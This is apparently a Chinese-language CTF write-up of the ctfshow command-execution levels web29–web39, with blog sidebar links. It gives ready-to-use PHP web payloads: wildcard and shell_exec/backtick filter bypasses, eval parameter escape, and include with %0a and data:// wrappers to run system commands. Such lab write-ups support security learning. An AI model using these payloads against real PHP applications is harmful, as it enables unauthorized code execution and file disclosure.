ctfshow——命令执行

web 29——通配符*绕过

在这里插入图片描述
i不区分大小写,直接?c=system('tac fl*.php');

在这里插入图片描述

web30——调用其他命令执行函数

在这里插入图片描述
调用其他代码执行函数,如shell_exec,该函数需要输出。payload:?c=echo shell_exec('tac fl*');。也可以使用反撇号代替shell_exec
在这里插入图片描述

web 31——参数逃逸

在这里插入图片描述
这里对c参数的过滤比较严谨,可以考虑将代码写到其他参数中。?c=eval($_GET[m]);&m=system('tac flag.php');

在这里插入图片描述

注意:

  1. payload不能这样写:?c=eval($_GET[m];);&m=system('tac flag.php')
    在这里插入图片描述
  2. 关于GET和POST传参参数写法,可以这样写$_GET[1]$_GET[x]$_GET[cmd]$_GET["cmd"]$_GET{cmd},不能这样写$_GET['x']

web 32-web 36——配合文件包含+伪协议

在这里插入图片描述
payload:?c=include%0a$_GET[x]?>&x=data://text/plain,<?php system('ls');?>

  • %0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
  • data协议用法:data://text/plain,<?php [php代码 ]?>

在这里插入图片描述

web 37-web 39——文件包含

在这里插入图片描述
直接文件包含:c=data://text/plain,<?php system('tac f*')?>
在这里插入图片描述

web 40——

相关推荐

  1. ctfshow-命令执行

    2024-02-08 16:16:02       40 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-02-08 16:16:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-08 16:16:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-08 16:16:02       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-08 16:16:02       20 阅读

热门阅读

  1. Qt 进程守护程序

    2024-02-08 16:16:02       34 阅读
  2. ASP.NET Web Forms - XML 文件

    2024-02-08 16:16:02       35 阅读
  3. 【数据库】常见的各数据库介绍和对比

    2024-02-08 16:16:02       37 阅读
  4. 【pytorch常用方法汇总】张量的转换、生成篇

    2024-02-08 16:16:02       27 阅读
  5. 寒假作业2月5号

    2024-02-08 16:16:02       21 阅读
  6. 堆排及时间复杂度分析

    2024-02-08 16:16:02       29 阅读
  7. 企业微信会话存档:大文件拉取、加密、上传

    2024-02-08 16:16:02       51 阅读
  8. 每天一个数据分析题(一百五十七)

    2024-02-08 16:16:02       36 阅读